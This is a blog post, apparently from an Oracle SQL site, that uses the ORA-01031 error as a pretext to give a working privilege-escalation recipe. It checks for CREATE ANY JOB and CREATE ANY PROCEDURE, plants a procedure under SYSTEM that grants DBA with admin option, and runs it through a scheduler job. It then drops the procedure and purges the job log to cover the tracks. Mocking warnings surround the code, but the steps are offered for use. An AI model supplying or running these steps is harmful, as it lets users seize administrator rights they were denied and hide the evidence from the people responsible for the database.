ORA-01031: insufficient privileges

ORA-01031: insufficient privileges is probably my least favorite error, because more often than not, it’s an indication of a people problem, and people problems are oftentimes more difficult to fix than technical problems.

Having said that, sometimes people issues can be skirted with technical workarounds.

What I’m about to share is an UGLY, UGLY, DANGEROUS HACK I’m about to share with you that should never, never be attempted.

A list of warnings:

• YOU CAN ENDANGER YOUR CAREER IF YOU DO THIS!
  
• TRUST ISSUES CAN WORSEN IN YOUR JOB IF YOU DO THIS!
  
• YOU CAN REALLY, REALLY MAKE A MESS OF THINGS IF YOU DO THIS!!!!!!
  
• THIS IS EXTREMELY BAD!
  
• THIS COULD IRREVOCABLY BREAK YOUR DATABASE AND COST YOUR COMPANY MILLIONS!
  
• DO NOT DO THIS–THIS ARTICLE IS FOR ENTERTAINMENT PURPOSES ONLY!!!
  
• THERE’S PROBABLY A REALLY GOOD REASON YOU DON’T HAVE DBA PRIVILEGES!!!

Please exercise extreme care and thoughtful judgement.

Seriously, don’t do this. Just stop reading and go back to what you were doing before you found this article.

DO NOT DO THIS.

YOU HAVE BEEN WARNED!!!!!!!!

How To Resolve ORA-01031 By Getting DBA Privileges

If you have a database login that has CREATE ANY JOB and CREATE ANY PROCEDURE, you can get DBA privileges. First, you need to check if you have those permissions.

Run the following query:

select case when (select count(*) 
                  from user_role_privs
                  where granted_role = 'DBA') = 1 
              then 'You already have DBA privileges!'
            when (select count(*)
                  from user_sys_privs
                  where privilege in ('CREATE ANY JOB', 'CREATE ANY PROCEDURE')) = 2 
              then q'<YOU'RE IN LUCK!>'
            else 'Bummer--you lack the privileges to pull this off :(' end can_i_get_dba_privs
from dual;

Next, create a procedure under the SYSTEM user. And by the way, this is ALWAYS a bad idea. NEVER create objects under SYSTEM. SERIOUSLY–don’t do this, stop reading now.

Below, replace MY_USERNAME with whatever your username is. E.g. grant dba to bobsmith with admin option;

-- Below replace MY_USERNAME with whatever your username is (e.g. BOBSMITH)
create or replace procedure system.drop_this_one
  authid current_user
as
begin
  execute immediate 'grant dba to MY_USERNAME with admin option';
end;
/

Alright, now you want to create a job that will call the procedure you just created. The below job will kick off immediately.

begin
  dbms_scheduler.create_job(
    job_name => 'SYSTEM.TMP'
    , job_type => 'PLSQL_BLOCK'
    , job_action => q'{execute immediate 'set role all'; drop_this_one;}'
    , auto_drop => true
    , start_date => systimestamp
    , enabled => true
  );
end;
/

Next, issue the following:

set role all;

Annnnndd…PRESTO! You have DBA privs. You should no longer run into ORA-01031: insufficient privileges errors.

Important last step: Let’s do some cleanup!

drop procedure system.drop_this_one;
exec dbms_scheduler.purge_log(job_name => 'SYSTEM.TMP');

Don’t get fired! The rest is up to you.

Free Oracle SQL Tuning Guide

Checkout my FREE guide, 7 SQL Tuning Secrets You Can Use Immediately, Even If You’ve Never Tuned a Query In Your Life!

Get it here: tuningsql.com/secrets